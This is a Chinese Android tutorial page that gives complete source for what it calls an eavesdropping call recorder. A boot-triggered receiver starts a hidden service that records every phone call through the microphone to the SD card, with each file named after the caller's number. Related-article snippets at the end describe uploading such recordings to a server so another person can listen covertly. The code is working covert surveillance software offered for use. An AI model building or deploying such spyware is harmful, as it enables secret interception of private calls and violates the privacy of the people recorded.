android 实现电话录音(窃听)

配置文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="codefans.app"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <!-- 监听电话状态权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>

    <!-- 在SDCard中创建与删除文件权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

    <!-- 在SDCard写入数据权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

    <!-- 刻入声音权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <service android:name=".PhoneService"></service>
        <receiver android:name=".PhoneBroadcastReceiver">
            <intent-filter >
               <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播  -->
            </intent-filter>
        </receiver>
    </application>

</manifest>
public class PhoneService extends Service
{

    @Override
    public IBinder onBind(Intent intent)
    {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate()
    {
        super.onCreate();

        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

        telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //注册监听器 监听电话状态
    }

    private final class PhoneListener extends PhoneStateListener
    {
        private String incomeNumber;   //来电号码
        private MediaRecorder mediaRecorder;
        private File file;
        @Override
        public void onCallStateChanged(int state, String incomingNumber)
        {
            try
            {
                switch(state)
                {
                case TelephonyManager.CALL_STATE_RINGING:   //来电
                    this.incomeNumber = incomingNumber;
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:   //接通电话
                    file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");
                    mediaRecorder = new MediaRecorder();
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //获得声音数据源
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式输出
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    mediaRecorder.setOutputFile(file.getAbsolutePath());   //输出文件
                    mediaRecorder.prepare();    //准备
                    mediaRecorder.start();
                    break;

                case TelephonyManager.CALL_STATE_IDLE:  //挂掉电话
                    if(mediaRecorder != null)
                    {
                        mediaRecorder.stop();
                        mediaRecorder.release();
                        mediaRecorder = null;
                    }

                    break;

                }
            }
            catch (IllegalStateException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            catch (IOException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }

    }

}
public class PhoneBroadcastReceiver extends BroadcastReceiver
{

    @Override
    public void onReceive(Context context, Intent intent)
    {
        Intent service = new Intent(context, PhoneService.class);
        context.startService(service);   //启动服务
    }

}
时间: 2024-10-08 21:21:08

android 实现电话录音(窃听)的相关文章

Android四大组件应用系列——实现电话拦截和电话录音

一.问题描述 使用BordercastReceiver和Service组件实现下述功能: 1.当手机处于来电状态,启动监听服务,对来电进行监听录音. 2.设置电话黑名单,当来电是黑名单电话,则直接挂断. 当拨打电话或电话状态发生改变时,系统就会发出有序广播,因此我们可以使用BordercastReceiver接受广播,因BordercastReceiver执行时间短不能执行耗时任务也不能使用子线程,因此我们应启动一个Service来监听电话并进行处理 二.加入AIDL文件 Android没有对外

Android实战简易教程-第五十五枪(窃听风云之电话录音上传)

前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传.这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音. 一.配置bmob 配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下: 然后配置权限: <uses-permission android:name="andr

android 之电话窃听器

其实实现一个简单的电话的窃听是一件非常容易的事情,在美国大片里面不是经常有黑客盗取别人的通话内容么,想想就觉得小激动,今天呢,我也实现了一个小小的电话窃听器,分享给大家,希望给大家乐乐. 实现电话窃听器步骤:(只限于Android手机上) 1.获取电话的服务 2.开启一个电话的监听 3.在监听的过程中,开启一个录音 4.将录音发送的到服务器端 5.在由服务器端发送给自己 ok,搞定 示例源码: 1.权限问题,电话服务,录音等 <uses-permission android:name="a

赵雅智_service电话监听2加接通电话录音

步骤: 创建CallStateService继承Service 取得电话服务 监听电话动作 电话监听的对象 没有电话时 停止刻录 重设 刻录完成一定要释放资源 电话响铃时 从麦克风采集声音 内容输出格式 音频编码方式 获取sd卡目录并存入 电话接通时 开始录制 电话监听的行为 启动service 注册service并添加监听电话状态的权限 监听电话状态权限 sd卡读写权限 音频录制权限 AndroidManifest.xml <?xml version="1.0" encodin

电话状态、电话录音

获得电话状态需要在请电脑文件中添加如下权限 <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 监听电话的步骤: 说用到主要方法: void listen(PhoneStateListener listener, int events) Registers a listener object to receive notification of changes in specified

Android 使用MediaRecorder录音

package com.example.HyyRecord; import android.app.Activity; import android.content.Intent; import android.media.MediaRecorder; import android.net.Uri; import android.os.Bundle; import android.os.Environment; import android.view.View; import java.io.F

Android:使用电话拨号器

1.申请权限: <uses-permission android:name="android.permission.CALL_PHONE" /> 2.创建意图(Intent): Intent intent = new Intent();intent.setAction("android.intent.action.CALL");//操作系统会自动为Intent注册类别:android.intent.category.DEFAULT//intent.add

Android 通过意图录音

Android中录音有三种方式: 一.使用意图,最简单但不灵活(本文章只讲意图录音) 二.使用MediaPlayer类,他更加难于实现,但是提供了更多的灵活性 三.使用AudioRecord类,其提供了最大的灵活性,但为我们所做的工作最少. 源代码: <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.co

android的电话监听

android的电话监听 新建一个项目,结构图如下: PhoneService: package com.demo.tingdianhua; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.telecom.TelecomManager; import android.telephony.PhoneStateListener; import an